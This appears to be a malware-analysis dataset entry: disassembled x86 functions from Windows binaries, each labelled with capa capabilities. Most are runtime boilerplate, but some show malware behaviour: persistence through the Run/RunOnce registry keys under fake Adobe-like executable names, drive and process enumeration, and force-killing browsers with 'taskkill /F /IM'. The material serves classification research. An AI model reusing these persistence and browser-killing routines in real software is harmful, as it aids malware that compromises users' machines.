joyce8/EMBER2024-capa huggingface dataset:
Function at 0x421c88
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43481c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00416524
mov dword [ebp - 0x14], eax
cmp dword [0x46c658], edi
jne 0x421d79
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x421d06
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x421e59
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x421e59
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x421e59
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x46c658], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x46c65c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x46c660], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x46c668], eax
test eax, eax
je 0x421d76
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x46c664], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x421d9e
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x421d91
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x421db3
push 4
pop eax
jmp 0x421e5b
cmp dword [ebp - 0x14], edi
je 0x421db3
push dword [0x46c658]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x421d98
mov eax, dword [0x46c664]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x421e11
cmp dword [0x46c668], esi
je 0x421e11
push eax
call ebx
push dword [0x46c668]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x421e11
test eax, eax
je 0x421e11
call ecx
test eax, eax
je 0x421e06
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x421e06
test byte [ebp - 8], 1
jne 0x421e11
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x421e41
mov eax, dword [0x46c65c]
cmp eax, esi
je 0x421e3e
push eax
call ebx
test eax, eax
je 0x421e3e
call eax
mov edi, eax
test edi, edi
je 0x421e3e
mov eax, dword [0x46c660]
cmp eax, esi
je 0x421e3e
push eax
call ebx
test eax, eax
je 0x421e3e
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x46c658]
call ebx
test eax, eax
je 0x421e59
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x421e5b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00411784
leave
ret
Function at 0x425d1e
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00418afb
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x425d56
xor eax, eax
jmp 0x425d82
cmp esi, dword [ebp - 4]
je 0x425d7f
cmp dword [ebp + 0xc], 0
je 0x425d7f
push dword [edi + 0x9c]
call fcn.0042592c
push dword [edi + 0x9c]
mov esi, eax
call fcn.00416a15
pop ecx
pop ecx
cmp esi, eax
je 0x425d52
xor eax, eax
inc eax
pop edi
pop esi
leave
ret
Function at 0x419668
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x4196c1
test eax, edx
je 0x4196c4
movzx ecx, word [edx]
cmp cx, word [eax]
je 0x41967f
movzx eax, word [eax]
sub eax, ecx
jmp 0x4196a6
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
shl ecx, 1
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x4196a7
add ecx, 4
js 0x419697
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 4
add ebx, ebx
add ecx, ebx
jns 0x4196a4
movzx eax, word [ecx + eax]
movzx edx, word [ecx + edx]
sub eax, edx
pop ebx
pop ebx
jmp 0x4196a6
xor eax, eax
ret
test eax, eax
je 0x4196d0
test edx, edx
jne 0x419670
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x42459c
Capabilities:
Hash data with crc32

Disassembly:
push esi
xor esi, esi
mov ecx, 0x4c090c
mov eax, esi
mov edx, 8
test al, 1
je 0x4245b8
shr eax, 1
xor eax, 0xedb88320
jmp 0x4245ba
shr eax, 1
dec edx
jne 0x4245ab
mov dword [ecx], eax
inc esi
add ecx, 4
cmp esi, 0x100
jne 0x4245a4
pop esi
ret

Function at 0x4245d0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ecx
mov esi, ecx
mov edi, edx
mov ebx, eax
cmp dword [0x4c0908], 0
jne 0x4245fa
call fcn.0042459c
mov dword [esp], 0x4c0908
mov edx, dword [esp]
mov eax, 1
lock xchg dword [edx], eax
mov eax, edi
test esi, esi
je 0x424624
mov edx, 0xff
and edx, ebx
movzx ecx, byte [eax]
xor dx, cx
movzx edx, dx
mov edx, dword [edx*4 + 0x4c090c]
shr ebx, 8
xor edx, ebx
mov ebx, edx
dec esi
inc eax
test esi, esi
jne 0x424600
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x46743c
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov dl, 0xb5
mov ebx, eax
xor eax, eax
mov ecx, eax
mov esi, ebx
shr esi, cl
mov ecx, esi
and cl, 0xff
xor dl, cl
inc eax
cmp eax, 4
jne 0x467444
mov eax, edx
pop esi
pop ebx
ret
Function at 0x40f1a0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
mov dword [0x5ef470], eax
xor eax, eax
nop
add eax, 1
mov ecx, dword [eax*4 + 0x5ef46c]
mov edx, ecx
shr edx, 0x1e
xor edx, ecx
imul edx, edx, 0x6c078965
add edx, eax
mov dword [eax*4 + 0x5ef470], edx
cmp eax, 0x26f
jl 0x40f1a8
mov dword [0x577ff0], 0x270
ret

Function at 0x40f1e0
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov eax, 0xffffffff
mov esi, esi
add eax, 1
mov ecx, dword [eax*4 + 0x5ef474]
mov ebx, dword [eax*4 + 0x5ef470]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x5efaa4]
mov dword [eax*4 + 0x5ef470], edx
cmp eax, 0xe2
jl 0x40f1e8
mov eax, 0xe2
lea esi, [esi]
add eax, 1
mov ecx, dword [eax*4 + 0x5ef474]
mov ebx, dword [eax*4 + 0x5ef470]
mov edx, ecx
and edx, 1
neg edx
and edx, 0x9908b0df
and ebx, 0x80000000
and ecx, 0x7fffffff
or ebx, ecx
shr ebx, 1
xor edx, ebx
xor edx, dword [eax*4 + 0x5ef0e4]
mov dword [eax*4 + 0x5ef470], edx
cmp eax, 0x26e
jl 0x40f238
mov edx, dword [0x5ef470]
mov ecx, dword [0x5efe2c]
mov eax, edx
and eax, 1
neg eax
and eax, 0x9908b0df
and ecx, 0x80000000
and edx, 0x7fffffff
or ecx, edx
shr ecx, 1
xor eax, ecx
xor eax, dword [0x5efaa0]
mov dword [0x5efe2c], eax
mov dword [0x577ff0], 0
pop ebx
ret

Function at 0x40f2c0
Capabilities:
Generate random numbers using a mersenne twister

Disassembly:
push ebx
mov ebx, dword [0x577ff0]
add dword [0x577ff0], 1
mov eax, dword [0x5ee020]
cmp eax, dword [0x577740]
jne 0x40f2e3
cmp ebx, 0x271
jb 0x40f304
mov eax, dword [0x5ee020]
call fcn.0040f1a0
not dword [0x5ee020]
mov eax, dword [0x5ee020]
mov dword [0x577740], eax
mov ebx, 0x270
mov esi, esi
cmp ebx, 0x270
jne 0x40f320
call fcn.0040f1e0
xor ebx, ebx
mov dword [0x577ff0], 1
lea esi, [esi]
mov edx, dword [ebx*4 + 0x5ef470]
mov eax, edx
shr eax, 0xb
xor eax, edx
mov edx, eax
shl edx, 7
and edx, 0x9d2c5680
xor edx, eax
mov ecx, edx
shl ecx, 0xf
and ecx, 0xefc60000
xor ecx, edx
mov eax, ecx
shr eax, 0x12
xor eax, ecx
pop ebx
ret
Function at 0x410e70
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
push esi
push edi
mov ax, word [0x577490]
cmp ax, 0xcb
je 0x410f7c
cmp ax, 0xcc
je 0x410f7c
lea esi, [esi]
mov edx, dword [0x5f0070]
test edx, edx
je 0x410ea5
mov eax, dword [0x5eff20]
call edx
mov ebx, eax
jmp 0x410eaa
mov ebx, 0x5eff24
cmp word [0x5eff10], 0
jle 0x410ed0
mov eax, 0x5efef0
call fcn.00411130
mov eax, ebx
call fcn.00410a30
mov eax, ebx
call fcn.00410aa0
lea esi, [esi]
mov edi, dword [ebx]
jmp 0x410ef2
mov esi, dword [edi + 4]
mov eax, dword [edi]
and eax, 1
jne 0x410eed
mov edx, edi
mov eax, ebx
call fcn.0040fea0
jmp 0x410ef0
and dword [edi], 0xfffffffe
mov edi, esi
test edi, edi
jne 0x410ed8
mov dword [ebx], 0
mov dword [ebx + 0x88], 0
cmp word [0x5eff10], 0
jle 0x410f7c
mov edx, 0x5efe30
mov eax, ebx
call fcn.0040ffe0
mov edi, eax
test edi, edi
je 0x410f4c
mov eax, dword [0x5efec4]
mov dword [edi + 0xc], eax
cmp dword [0x5efec4], 0
je 0x410f40
mov eax, dword [0x5efec4]
mov dword [eax + 8], edi
mov eax, dword [ebx + 0x94]
mov dword [0x5efec4], eax
nop
sub word [0x5eff10], 1
cmp word [0x5eff10], 0
sete bl
mov eax, 0x5efef0
call fcn.00411150
test bl, bl
je 0x410f7c
mov eax, 0x5efef0
call fcn.00411120
lea esi, [esi]
pop edi
pop esi
pop ebx
ret
Function at 0x4131b0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x20]
push ebx
push esi
push edi
mov byte [ebp - 0x20], al
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
xor eax, eax
push fcn.00413190
push ebp
push 0x4145c0
push dword fs:[eax]
mov dword fs:[eax], esp
test byte [ebp - 0x20], 0xff
je 0x4132da
movzx eax, byte [ebp - 0x20]
sub eax, 0xffffffc0
mov word [ebp - 8], ax
mov word [ebp - 6], 0x3a
mov word [ebp - 4], 0
mov word [ebp - 2], 0
lea eax, [ebp - 0xc]
push eax
push 0
push 0
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_GetFullPathNameW
mov esi, eax
lea edx, [esi - 1]
mov eax, dword [ebp - 0x1c]
call fcn.0040ba70
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
test edx, edx
jne 0x41323f
mov edx, 0x5ef2f0
push edx
push esi
lea eax, [ebp - 8]
push eax
call sub.kernel32.dll_GetFullPathNameW
mov ebx, eax
test ebx, ebx
jne 0x413291
call sub.kernel32.dll_GetLastError
call fcn.00404260
lea eax, [ebp - 0x10]
call fcn.0040a350
movzx eax, byte [ebp - 0x20]
sub eax, 0xffffffc0
lea edx, [ebp - 0x14]
call fcn.0040a900
mov edx, dword [ebp - 0x14]
mov ecx, 0x594364
lea eax, [ebp - 0x10]
call fcn.0040a680
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 0x1c]
call fcn.0040b340
jmp 0x413328
mov eax, esi
mov edx, 0
sub eax, 1
sbb edx, 0
mov ecx, ebx
xor edi, edi
cmp edx, edi
jne 0x4132aa
cmp eax, ecx
je 0x4132b4
mov eax, dword [ebp - 0x1c]
mov edx, ebx
call fcn.0040ba70
cmp byte [0x577710], 0
jne 0x413328
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
lea edx, [ebp - 0x18]
call fcn.0040c010
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
call fcn.0040b3d0
lea esi, [esi]
jmp 0x413328
push 0
push 0
call sub.kernel32.dll_GetCurrentDirectoryW
mov esi, eax
lea edx, [esi - 1]
mov eax, dword [ebp - 0x1c]
call fcn.0040ba70
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
test eax, eax
jne 0x4132fe
mov eax, 0x5ef2f0
push eax
push esi
call sub.kernel32.dll_GetCurrentDirectoryW
cmp byte [0x577710], 0
jne 0x413328
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
lea edx, [ebp - 0x18]
call fcn.0040c010
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
call fcn.0040b3d0
mov esi, esi
xor edx, edx
pop eax
add esp, 0xc
mov dword fs:[edx], eax
mov eax, ebp
call fcn.00413190
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x413740
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x114]
push ebx
push esi
push edi
mov dword [ebp - 0x10c], 0
mov dword [0x5ef260], 0
mov dword [ebp - 4], 0
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov byte [ebp + eax - 0x108], 0
mov dword [ebp - 0x110], eax
mov ecx, eax
xor edx, edx
mov eax, ebp
call fcn.00413920
mov eax, dword [ebp - 0x110]
lea ecx, [eax + 1]
mov eax, dword [0x5ef260]
mov edx, dword [eax]
lea eax, [ebp - 0x108]
call fcn.004037d0
call sub.kernel32.dll_GetCommandLineA
mov dword [0x577510], eax
mov ebx, eax
jmp 0x4138e3
add ebx, 1
movzx eax, byte [ebx]
sub eax, 1
cmp eax, 0x20
jb 0x4137c8
cmp byte [ebx], 0
je 0x4138ec
nop
mov byte [ebp - 0x114], 0
mov edi, ebx
mov dword [ebp - 0x110], 0
jmp 0x413843
mov al, byte [ebx]
cmp al, 1
jb 0x413838
sub al, 0x20
jbe 0x413808
sub al, 2
je 0x41381c
jmp 0x413838
mov al, byte [ebp - 0x114]
test al, al
je 0x413848
add dword [ebp - 0x110], 1
jmp 0x413840
cmp byte [ebx + 1], 0x22
je 0x413833
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x413840
add ebx, 1
jmp 0x413840
add dword [ebp - 0x110], 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x4137f8
test dword [ebp - 0x10c], 0xffffffff
je 0x4138dc
mov ecx, dword [ebp - 0x110]
mov edx, dword [ebp - 0x10c]
mov eax, ebp
call fcn.00413920
mov byte [ebp - 0x114], 0
mov ebx, edi
mov eax, dword [0x5ef260]
mov edx, dword [ebp - 0x10c]
mov esi, dword [eax + edx*4]
jmp 0x4138d3
mov al, byte [ebx]
cmp al, 1
jb 0x4138c8
sub al, 0x20
jbe 0x413898
sub al, 2
je 0x4138ac
jmp 0x4138c8
mov al, byte [ebp - 0x114]
test al, al
je 0x4138d8
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
jmp 0x4138d0
cmp byte [ebx + 1], 0x22
je 0x4138c3
mov al, byte [ebp - 0x114]
test al, al
sete byte [ebp - 0x114]
jmp 0x4138d0
add ebx, 1
jmp 0x4138d0
mov al, byte [ebx]
mov byte [esi], al
add esi, 1
nop
add ebx, 1
cmp byte [ebx], 0
jne 0x413888
mov byte [esi], 0
nop
add dword [ebp - 0x10c], 1
cmp byte [ebx], 0
jne 0x4137cb
mov ebx, dword [ebp - 0x10c]
mov dword [0x5ef250], ebx
lea edx, [ebx + 1]
shl edx, 2
mov eax, 0x5ef260
call fcn.00410cb0
mov eax, dword [0x5ef260]
mov dword [eax + ebx*4], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4276a0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x108]
mov dword [ebp - 4], eax
mov dword [ebp - 0x108], 0
xor eax, eax
push fcn.00427690
push ebp
push 0x4145c0
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xff
lea eax, [ebp - 0x104]
push eax
call sub.kernel32.dll_GetSystemDirectoryA
push 1
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x104]
xor cx, cx
mov edx, 0xff
call fcn.00409570
mov eax, dword [ebp - 0x108]
mov edx, dword [ebp - 4]
call fcn.00448920
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.00427690
mov esp, ebp
pop ebp
ret
Function at 0x427750
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x1c]
mov edx, 0x599ee8
lea eax, [ebp - 0x18]
call fcn.0040ea90
mov dword [ebp - 0x1c], 0
xor eax, eax
push fcn.00427730
push ebp
push 0x4145c0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x18]
mov edx, str.Adobe_Cabinet
call fcn.00408b80
push 0
lea eax, [ebp - 0x1c]
call fcn.004276a0
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0x14]
mov ecx, str.AdobeC_adobeapp.exe
call fcn.00408c80
lea eax, [ebp - 0x10]
mov edx, str.KABx64
call fcn.00408b80
push 0
lea eax, [ebp - 0x1c]
call fcn.004276a0
mov edx, dword [ebp - 0x1c]
lea eax, [ebp - 0xc]
mov ecx, str.KABx64_systempx.exe
call fcn.00408c80
mov byte [ebp - 8], 0
add byte [ebp - 8], 1
mov edx, 1
mov eax, 0x5e7e88
call fcn.0056eb80
mov dword [ebp - 4], eax
xor eax, eax
push fcn.00427720
push ebp
push 0x4145c0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, 0x80000001
call fcn.0056eb40
mov al, byte [ebp - 8]
cmp al, 1
jl 0x42783c
sub al, 1
je 0x427818
sub al, 1
je 0x42782c
jmp 0x42783c
mov eax, dword [ebp - 4]
mov cl, 1
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call fcn.0056edb0
jmp 0x42783c
mov eax, dword [ebp - 4]
mov cl, 1
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
call fcn.0056edb0
nop
movzx eax, byte [ebp - 8]
mov edx, dword [ebp + eax*8 - 0x20]
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0x1c]
call fcn.0056ef90
mov eax, dword [ebp - 0x1c]
movzx edx, byte [ebp - 8]
mov edx, dword [ebp + edx*8 - 0x1c]
call fcn.00409740
test eax, eax
je 0x42787c
movzx eax, byte [ebp - 8]
mov ecx, dword [ebp + eax*8 - 0x1c]
movzx eax, byte [ebp - 8]
mov edx, dword [ebp + eax*8 - 0x20]
mov eax, dword [ebp - 4]
call fcn.0056f150
nop
xor edx, edx
pop eax
add esp, 0xc
mov dword fs:[edx], eax
mov eax, ebp
call fcn.00427720
cmp byte [ebp - 8], 2
jl 0x4277d0
xor edx, edx
pop eax
add esp, 0xc
mov dword fs:[edx], eax
mov eax, ebp
call fcn.00427730
mov esp, ebp
pop ebp
ret
Function at 0x428710
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x140]
push ebx
mov dword [ebp - 4], eax
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
xor eax, eax
push fcn.004286f0
push ebp
push 0x4145c0
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x5f2a20], 0
mov byte [ebp - 0xc], 0
mov eax, dword [ebp - 4]
xor edx, edx
call fcn.00408b80
call sub.kernel32.dll_GetLogicalDrives
mov dword [ebp - 8], eax
jmp 0x428973
add byte [ebp - 0xc], 1
mov eax, dword [ebp - 8]
and eax, 1
test al, al
je 0x428970
add byte [0x5f2a20], 1
push 0
movsx eax, byte [ebp - 0xc]
add eax, 0x40
lea ecx, [ebp - 0x10]
xor dx, dx
call fcn.00409470
mov edx, dword [ebp - 0x10]
movzx eax, byte [0x5f2a20]
lea eax, [eax*4 + 0x5f261c]
mov ecx, 0x599450
call fcn.00408c80
mov al, byte [ebp - 0xc]
call fcn.00453990
movzx ecx, byte [0x5f2a20]
mov dword [ecx*8 + 0x5f2718], eax
mov dword [ecx*8 + 0x5f271c], edx
lea eax, [ebp - 0x10]
call fcn.00403cb0
push 0
movsx eax, byte [ebp - 0xc]
add eax, 0x40
lea ecx, [ebp - 0x14]
xor dx, dx
call fcn.00409470
mov edx, dword [ebp - 0x14]
mov ecx, 0x599450
lea eax, [ebp - 0x10]
call fcn.00408c80
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x428805
mov eax, 0x5ef2f0
push eax
call sub.kernel32.dll_GetDriveTypeA
cmp eax, 2
jb 0x4288c4
sub eax, 2
je 0x428838
sub eax, 1
je 0x428858
sub eax, 1
je 0x428874
sub eax, 1
je 0x428890
sub eax, 1
je 0x4288ac
jmp 0x4288c4
movzx eax, byte [0x5f2a20]
lea eax, [eax*4 + 0x5f291c]
mov edx, str._REMOVABLE_
call fcn.00408b80
jmp 0x4288c4
movzx eax, byte [0x5f2a20]
lea eax, [eax*4 + 0x5f291c]
mov edx, str._HDD_
call fcn.00408b80
jmp 0x4288c4
movzx eax, byte [0x5f2a20]
lea eax, [eax*4 + 0x5f291c]
mov edx, str._NETWORK_
call fcn.00408b80
jmp 0x4288c4
movzx eax, byte [0x5f2a20]
lea eax, [eax*4 + 0x5f291c]
mov edx, str._CDROM_
call fcn.00408b80
jmp 0x4288c4
movzx eax, byte [0x5f2a20]
lea eax, [eax*4 + 0x5f291c]
mov edx, str._RAMDISK_
call fcn.00408b80
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
movzx eax, byte [0x5f2a20]
mov eax, dword [eax*4 + 0x5f261c]
mov dword [ebp - 0x2c], eax
mov eax, str.__size:
mov dword [ebp - 0x28], eax
movzx eax, byte [0x5f2a20]
lea ebx, [eax*8 + 0x5f2718]
mov eax, dword [ebx]
mov dword [ebp - 0x40], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x3c]
push dword [ebp - 0x40]
mov ecx, 0xff
lea edx, [ebp - 0x140]
mov eax, 0xffffffff
call fcn.00405100
lea ecx, [ebp - 0x34]
xor dx, dx
lea eax, [ebp - 0x140]
call fcn.00409400
xor cl, cl
xor dx, dx
lea eax, [ebp - 0x34]
call fcn.0040a1d0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x24], eax
mov eax, str.bytes_
mov dword [ebp - 0x20], eax
movzx eax, byte [0x5f2a20]
mov eax, dword [eax*4 + 0x5f291c]
mov dword [ebp - 0x1c], eax
mov eax, 0x599290
mov dword [ebp - 0x18], eax
lea edx, [ebp - 0x30]
mov eax, dword [ebp - 4]
mov ecx, 6
call fcn.00408f10
shr dword [ebp - 8], 1
cmp dword [ebp - 8], 0
ja 0x428768
xor edx, edx
pop eax
add esp, 0xc
mov dword fs:[edx], eax
mov eax, ebp
call fcn.004286f0
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4289c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x258]
push ebx
mov dword [ebp - 4], eax
mov dword [ebp - 0x150], 0
mov dword [ebp - 0x138], 0
xor eax, eax
push fcn.004289a0
push ebp
push 0x4145c0
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, dword [0x5f2610]
cmp ebx, 1
jl 0x428a48
mov dword [ebp - 0x134], 0
lea esi, [esi]
mov eax, dword [ebp - 0x134]
add eax, 1
mov dword [ebp - 0x134], eax
lea eax, [eax*4 + 0x5f060c]
xor edx, edx
call fcn.00408b80
mov eax, dword [ebp - 0x134]
mov dword [eax*4 + 0x5f160c], 0
cmp ebx, dword [ebp - 0x134]
jg 0x428a10
mov esi, esi
mov dword [ebp - 0x134], 1
mov eax, dword [ebp - 4]
xor edx, edx
call fcn.00408b80
mov dword [0x5f2610], 1
mov dword [ebp - 0x130], 0x128
push 0
push 2
call fcn.0056e6d0
mov dword [ebp - 8], eax
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 8]
call fcn.0056e6e0
test eax, eax
je 0x428bb4
jmp 0x428b9b
push 1
lea eax, [ebp - 0x138]
push eax
lea eax, [ebp - 0x10c]
xor cx, cx
mov edx, 0x103
call fcn.00409570
mov edx, dword [ebp - 0x138]
mov eax, dword [ebp - 0x134]
lea eax, [eax*4 + 0x5f060c]
call fcn.00408b80
mov eax, dword [ebp - 0x134]
mov edx, dword [ebp - 0x128]
mov dword [eax*4 + 0x5f160c], edx
push 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x134]
mov eax, dword [eax*4 + 0x5f060c]
mov dword [ebp - 0x148], eax
mov eax, 0x5994f8
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x134]
mov eax, dword [eax*4 + 0x5f160c]
xor edx, edx
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], edx
push dword [ebp - 0x154]
push dword [ebp - 0x158]
mov ecx, 0xff
lea edx, [ebp - 0x258]
mov eax, 0xffffffff
call fcn.00405070
lea ecx, [ebp - 0x150]
xor dx, dx
lea eax, [ebp - 0x258]
call fcn.00409400
xor cl, cl
xor dx, dx
lea eax, [ebp - 0x150]
call fcn.0040a1d0
mov eax, dword [ebp - 0x150]
mov dword [ebp - 0x140], eax
mov eax, 0x599290
mov dword [ebp - 0x13c], eax
lea edx, [ebp - 0x14c]
mov eax, dword [ebp - 4]
mov ecx, 4
call fcn.00408f10
add dword [ebp - 0x134], 1
lea eax, [ebp - 0x130]
push eax
push dword [ebp - 8]
call fcn.0056e6f0
test eax, eax
jne 0x428a98
mov esi, esi
mov eax, dword [ebp - 0x134]
mov dword [0x5f2610], eax
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.004289a0
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x429680
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
lea esp, [esp - 0x20]
mov edx, 0x599f80
lea eax, [ebp - 0x14]
call fcn.0040ea90
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
xor eax, eax
push fcn.00429650
push ebp
push 0x4145c0
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x14]
mov edx, str.opera.exe
call fcn.00408b80
lea eax, [ebp - 0x10]
mov edx, str.browser.exe
call fcn.00408b80
lea eax, [ebp - 0xc]
mov edx, str.chrome.exe
call fcn.00408b80
lea eax, [ebp - 8]
mov edx, str.msedge.exe
call fcn.00408b80
lea eax, [ebp - 4]
mov edx, str.firefox.exe
call fcn.00408b80
mov byte [ebp - 0x18], 0
lea esi, [esi]
add byte [ebp - 0x18], 1
jmp 0x429783
push 0
push 0
lea eax, [ebp - 0x1c]
call fcn.00403cb0
push 0
movzx eax, byte [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x18]
mov edx, str._F__IM
lea eax, [ebp - 0x1c]
call fcn.00408c80
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x42973f
mov eax, 0x5ef2f0
push eax
mov eax, str.taskkill.exe
push eax
mov eax, 0x5996d4
push eax
lea ecx, [ebp - 0x20]
mov dl, 1
mov eax, 5
call fcn.00426fa0
mov eax, dword [ebp - 0x20]
call fcn.00449a30
push eax
call sub.shell32.dll_ShellExecuteA
push 0x1f4
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x20]
call fcn.004289c0
lea eax, [ebp - 0x20]
call fcn.00403cb0
movzx eax, byte [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x18]
call fcn.00428bf0
test al, al
jg 0x429710
cmp byte [ebp - 0x18], 5
jl 0x429700
xor eax, eax
pop edx
add esp, 0xc
mov dword fs:[eax], edx
mov eax, ebp
call fcn.00429650
mov esp, ebp
pop ebp
ret